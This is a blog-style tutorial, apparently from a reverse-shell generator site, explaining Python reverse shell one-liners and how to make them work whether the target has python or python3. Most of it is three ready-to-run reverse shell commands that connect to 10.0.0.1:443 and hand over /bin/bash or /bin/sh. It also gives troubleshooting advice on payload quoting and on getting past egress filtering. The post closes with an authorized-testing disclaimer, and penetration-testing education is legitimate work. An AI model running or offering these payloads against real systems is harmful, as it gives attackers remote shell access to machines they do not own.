Skip to content
reverseshell

Python Reverse Shell: One-Liners That Survive python vs python3

How the python reverse shell one-liner works with socket and pty, why the python/python3 split breaks payloads, and a version-agnostic fallback.

Published on 3 min read

Python is the most portable reverse shell option on Linux, because if a box does anything beyond the absolute minimum it usually has a Python interpreter. The catch is the python versus python3 split, which silently kills more payloads than any firewall. This post explains the standard one-liner, why it works, and how to make it run regardless of which interpreter exists.

The Standard One-Liner

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("/bin/bash")'

Decoded:

  • socket.socket(...) then s.connect((host, port)) opens a TCP connection back to your listener.
  • os.dup2(s.fileno(), 0/1/2) is the heart of it: it duplicates the socket onto file descriptors 0, 1, and 2 — stdin, stdout, stderr. After this, anything the shell reads or writes goes over the network.
  • pty.spawn("/bin/bash") launches bash attached to those descriptors. Crucially, pty.spawn gives you a pseudo-terminal, so you start with a far more usable shell than the raw bash /dev/tcp trick — job control and interactive programs behave.

That pty upgrade is why many testers prefer the python payload as their first shell: it lands closer to a real TTY. You still may want to fully upgrade it (see upgrading a reverse shell), but you start ahead.

The python vs python3 Trap

For years python meant Python 2. On most current systems python either means Python 3 or does not exist at all — only python3 does. So:

  • A payload that calls python fails on a python3-only host.
  • A payload that calls python3 fails on an old host that only ships python (Python 2).

The one-liner above is valid in both Python 2 and 3, so the only variable is the interpreter name. When you do not know what the target has, probe first or use a version-agnostic invocation:

(command -v python3 || command -v python) | head -1

Then call whichever it reports. A reverse shell generator lets you flip between python and python3 without rewriting the payload, which is the fast way to handle an unknown target.

A Shorter Variant Without pty

If pty is unavailable or you just want output, the minimal form drops the terminal:

python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.0.0.1",443));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/sh")'

And the truly stripped-down version using only subprocess (no interactive TTY, good for blind execution):

python3 -c 'import socket,subprocess;s=socket.socket();s.connect(("10.0.0.1",443));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'

When It Doesn't Connect

  1. Wrong interpreter name — the number-one cause. Confirm python vs python3.
  2. Quoting — the payload is wrapped in single quotes; if it passes through another single-quoted layer (a web param, a YAML field), the quoting collapses. See payload quoting.
  3. Egress filtering — prefer 443/80.
  4. Listener mismatch — confirm your listener with choosing a listener.

The complete checklist lives in why reverse shells fail.

Generate a Version-Matched Payload

The reverse shell generator produces the python reverse shell for the interpreter and shell you select, pre-filled with your LHOST/LPORT and paired with the right listener — so the python/python3 mistake never reaches the target.

Authorized Testing Only

Use these payloads exclusively against systems you own or are explicitly authorized to test. The code is the same in a lab and in the wild; permission is what makes it legitimate.

Related articles

The common bash reverse shell one-liners explained line by line, why they need bash (not sh), and how to fall back when /dev/tcp is missing.
How a ruby reverse shell works with the socket library, the common one-liners, and when Ruby is the interpreter you can count on.
How the perl reverse shell works with the Socket module, the classic one-liner, and why Perl is the fallback on legacy Unix systems.